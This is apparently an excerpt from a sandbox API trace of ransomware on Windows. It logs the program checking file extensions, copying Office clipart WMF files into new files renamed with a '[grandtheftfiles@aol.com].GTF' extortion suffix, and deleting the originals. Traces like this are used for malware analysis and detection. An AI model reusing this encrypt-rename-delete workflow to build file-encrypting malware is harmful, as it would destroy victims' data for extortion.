	[0175.680] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0175.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF") returned 68
	[0175.680] lstrlenW (lpString=".zip") returned 4
	[0175.680] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0175.680] lstrlenW (lpString=".rar") returned 4
	[0175.680] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0175.680] lstrlenW (lpString=".bz2") returned 4
	[0175.680] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0175.681] lstrlenW (lpString=".7z") returned 3
	[0175.681] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0175.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF") returned 68
	[0175.681] lstrlenW (lpString=".dbf") returned 4
	[0175.681] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0175.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF") returned 68
	[0175.681] lstrlenW (lpString=".1cd") returned 4
	[0175.681] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0175.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF") returned 68
	[0175.681] lstrlenW (lpString=".jpg") returned 4
	[0175.681] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0175.681] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0175.681] lstrlenW (lpString="J0152560.WMF") returned 12
	[0175.681] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152560.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564
	[0175.682] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=10880) returned 1
	[0175.682] CloseHandle (hObject=0x564) returned 1
	[0175.683] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152560.wmf")) returned 0x220
	[0175.683] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152560.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0175.683] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152560.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564
	[0175.683] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.683] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.683] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152560.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0175.684] GetLastError () returned 0x0
	[0175.684] ReadFile (in: hFile=0x564, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x2a80, lpOverlapped=0x0) returned 1
	[0175.710] WriteFile (in: hFile=0x530, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0x2a90, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0x2a90, lpOverlapped=0x0) returned 1
	[0175.711] ReadFile (in: hFile=0x564, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1
	[0175.711] WriteFile (in: hFile=0x530, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1
	[0175.711] SetEndOfFile (hFile=0x530) returned 1
	[0175.711] CloseHandle (hObject=0x530) returned 1
	[0175.712] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.712] SetEndOfFile (hFile=0x564) returned 1
	[0175.716] CloseHandle (hObject=0x564) returned 1
	[0175.716] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0175.717] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152560.wmf")) returned 1
	[0175.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF") returned 68
	[0175.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF") returned 68
	[0175.717] lstrlenW (lpString=".doc") returned 4
	[0175.718] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0175.718] lstrlenW (lpString=".docx") returned 5
	[0175.718] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0175.718] lstrlenW (lpString=".pdf") returned 4
	[0175.718] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0175.718] lstrlenW (lpString=".xls") returned 4
	[0175.718] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0175.718] lstrlenW (lpString=".xlsx") returned 5
	[0175.718] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0175.718] lstrlenW (lpString=".ppt") returned 4
	[0175.718] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0175.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF") returned 68
	[0175.718] lstrlenW (lpString=".zip") returned 4
	[0175.718] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0175.718] lstrlenW (lpString=".rar") returned 4
	[0175.718] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0175.718] lstrlenW (lpString=".bz2") returned 4
	[0175.718] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0175.718] lstrlenW (lpString=".7z") returned 3
	[0175.718] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0175.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF") returned 68
	[0175.718] lstrlenW (lpString=".dbf") returned 4
	[0175.718] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0175.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF") returned 68
	[0175.718] lstrlenW (lpString=".1cd") returned 4
	[0175.718] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0175.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF") returned 68
	[0175.718] lstrlenW (lpString=".jpg") returned 4
	[0175.718] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0175.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF") returned 68
	[0175.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF") returned 68
	[0175.718] lstrlenW (lpString=".doc") returned 4
	[0175.719] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0175.719] lstrlenW (lpString=".docx") returned 5
	[0175.719] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0175.719] lstrlenW (lpString=".pdf") returned 4
	[0175.719] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0175.719] lstrlenW (lpString=".xls") returned 4
	[0175.719] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0175.719] lstrlenW (lpString=".xlsx") returned 5
	[0175.719] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0175.719] lstrlenW (lpString=".ppt") returned 4
	[0175.719] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0175.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF") returned 68
	[0175.719] lstrlenW (lpString=".zip") returned 4
	[0175.719] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0175.719] lstrlenW (lpString=".rar") returned 4
	[0175.719] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0175.719] lstrlenW (lpString=".bz2") returned 4
	[0175.719] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0175.719] lstrlenW (lpString=".7z") returned 3
	[0175.719] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0175.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF") returned 68
	[0175.719] lstrlenW (lpString=".dbf") returned 4
	[0175.719] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0175.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF") returned 68
	[0175.719] lstrlenW (lpString=".1cd") returned 4
	[0175.719] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0175.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF") returned 68
	[0175.719] lstrlenW (lpString=".jpg") returned 4
	[0175.719] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0175.720] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0175.720] lstrlenW (lpString="J0152570.WMF") returned 12
	[0175.720] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152570.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564
	[0175.720] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=3368) returned 1
	[0175.720] CloseHandle (hObject=0x564) returned 1
	[0175.720] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152570.wmf")) returned 0x220
	[0175.721] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152570.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0175.721] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152570.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564
	[0175.721] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.721] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.721] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152570.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584
	[0175.722] GetLastError () returned 0x0
	[0175.722] ReadFile (in: hFile=0x564, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0xd28, lpOverlapped=0x0) returned 1
	[0175.771] WriteFile (in: hFile=0x584, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xd30, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xd30, lpOverlapped=0x0) returned 1
	[0175.773] ReadFile (in: hFile=0x564, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1
	[0175.773] WriteFile (in: hFile=0x584, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1
	[0175.773] SetEndOfFile (hFile=0x584) returned 1
	[0175.773] CloseHandle (hObject=0x584) returned 1
	[0175.773] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.773] SetEndOfFile (hFile=0x564) returned 1
	[0175.776] CloseHandle (hObject=0x564) returned 1
	[0175.776] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0175.777] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152570.wmf")) returned 1
	[0175.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF") returned 68
	[0175.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF") returned 68
	[0175.777] lstrlenW (lpString=".doc") returned 4
	[0175.777] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0175.777] lstrlenW (lpString=".docx") returned 5
	[0175.777] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0175.778] lstrlenW (lpString=".pdf") returned 4
	[0175.778] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0175.778] lstrlenW (lpString=".xls") returned 4
	[0175.778] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0175.778] lstrlenW (lpString=".xlsx") returned 5
	[0175.778] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0175.778] lstrlenW (lpString=".ppt") returned 4
	[0175.778] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0175.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF") returned 68
	[0175.778] lstrlenW (lpString=".zip") returned 4
	[0175.778] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0175.778] lstrlenW (lpString=".rar") returned 4
	[0175.778] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0175.778] lstrlenW (lpString=".bz2") returned 4
	[0175.778] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0175.778] lstrlenW (lpString=".7z") returned 3
	[0175.778] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0175.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF") returned 68
	[0175.778] lstrlenW (lpString=".dbf") returned 4
	[0175.778] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0175.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF") returned 68
	[0175.778] lstrlenW (lpString=".1cd") returned 4
	[0175.778] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0175.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF") returned 68
	[0175.778] lstrlenW (lpString=".jpg") returned 4
	[0175.778] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0175.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF") returned 68
	[0175.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF") returned 68
	[0175.778] lstrlenW (lpString=".doc") returned 4
	[0175.779] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0175.779] lstrlenW (lpString=".docx") returned 5
	[0175.779] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0175.779] lstrlenW (lpString=".pdf") returned 4
	[0175.779] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0175.779] lstrlenW (lpString=".xls") returned 4
	[0175.779] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0175.779] lstrlenW (lpString=".xlsx") returned 5
	[0175.779] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0175.779] lstrlenW (lpString=".ppt") returned 4
	[0175.779] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0175.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF") returned 68
	[0175.779] lstrlenW (lpString=".zip") returned 4
	[0175.779] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0175.779] lstrlenW (lpString=".rar") returned 4
	[0175.779] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0175.779] lstrlenW (lpString=".bz2") returned 4
	[0175.779] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0175.779] lstrlenW (lpString=".7z") returned 3
	[0175.779] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0175.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF") returned 68
	[0175.779] lstrlenW (lpString=".dbf") returned 4
	[0175.779] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0175.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF") returned 68
	[0175.779] lstrlenW (lpString=".1cd") returned 4
	[0175.779] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0175.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF") returned 68
	[0175.779] lstrlenW (lpString=".jpg") returned 4
	[0175.779] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0175.779] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0175.780] lstrlenW (lpString="J0152600.WMF") returned 12
	[0175.780] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152600.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0175.797] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=9768) returned 1
	[0175.797] CloseHandle (hObject=0x530) returned 1
	[0175.797] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152600.wmf")) returned 0x220
	[0175.904] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152600.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0176.139] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152600.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0176.139] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.139] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.139] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152600.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0176.140] GetLastError () returned 0x0
	[0176.140] ReadFile (in: hFile=0x540, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x2628, lpOverlapped=0x0) returned 1
	[0176.163] WriteFile (in: hFile=0x550, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0x2630, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0x2630, lpOverlapped=0x0) returned 1
	[0176.164] ReadFile (in: hFile=0x540, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1
	[0176.164] WriteFile (in: hFile=0x550, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1
	[0176.164] SetEndOfFile (hFile=0x550) returned 1
	[0176.180] CloseHandle (hObject=0x550) returned 1
	[0176.185] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.185] SetEndOfFile (hFile=0x540) returned 1
	[0176.257] CloseHandle (hObject=0x540) returned 1
	[0176.257] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0176.317] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152600.wmf")) returned 1
	[0176.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF") returned 68
	[0176.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF") returned 68
	[0176.357] lstrlenW (lpString=".doc") returned 4
	[0176.357] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0176.357] lstrlenW (lpString=".docx") returned 5
	[0176.357] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0176.357] lstrlenW (lpString=".pdf") returned 4
	[0176.357] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0176.370] lstrlenW (lpString=".xls") returned 4
	[0176.370] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0176.370] lstrlenW (lpString=".xlsx") returned 5
	[0176.370] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0176.370] lstrlenW (lpString=".ppt") returned 4
	[0176.370] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0176.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF") returned 68
	[0176.370] lstrlenW (lpString=".zip") returned 4
	[0176.370] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0176.370] lstrlenW (lpString=".rar") returned 4
	[0176.370] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0176.370] lstrlenW (lpString=".bz2") returned 4
	[0176.370] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0176.370] lstrlenW (lpString=".7z") returned 3
	[0176.370] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0176.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF") returned 68
	[0176.370] lstrlenW (lpString=".dbf") returned 4
	[0176.370] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0176.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF") returned 68
	[0176.370] lstrlenW (lpString=".1cd") returned 4
	[0176.370] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0176.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF") returned 68
	[0176.370] lstrlenW (lpString=".jpg") returned 4
	[0176.370] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0176.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF") returned 68
	[0176.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF") returned 68
	[0176.370] lstrlenW (lpString=".doc") returned 4
	[0176.371] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0176.371] lstrlenW (lpString=".docx") returned 5
	[0176.371] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0176.371] lstrlenW (lpString=".pdf") returned 4
	[0176.371] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0176.371] lstrlenW (lpString=".xls") returned 4
	[0176.371] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0176.371] lstrlenW (lpString=".xlsx") returned 5
	[0176.371] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0176.371] lstrlenW (lpString=".ppt") returned 4
	[0176.371] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
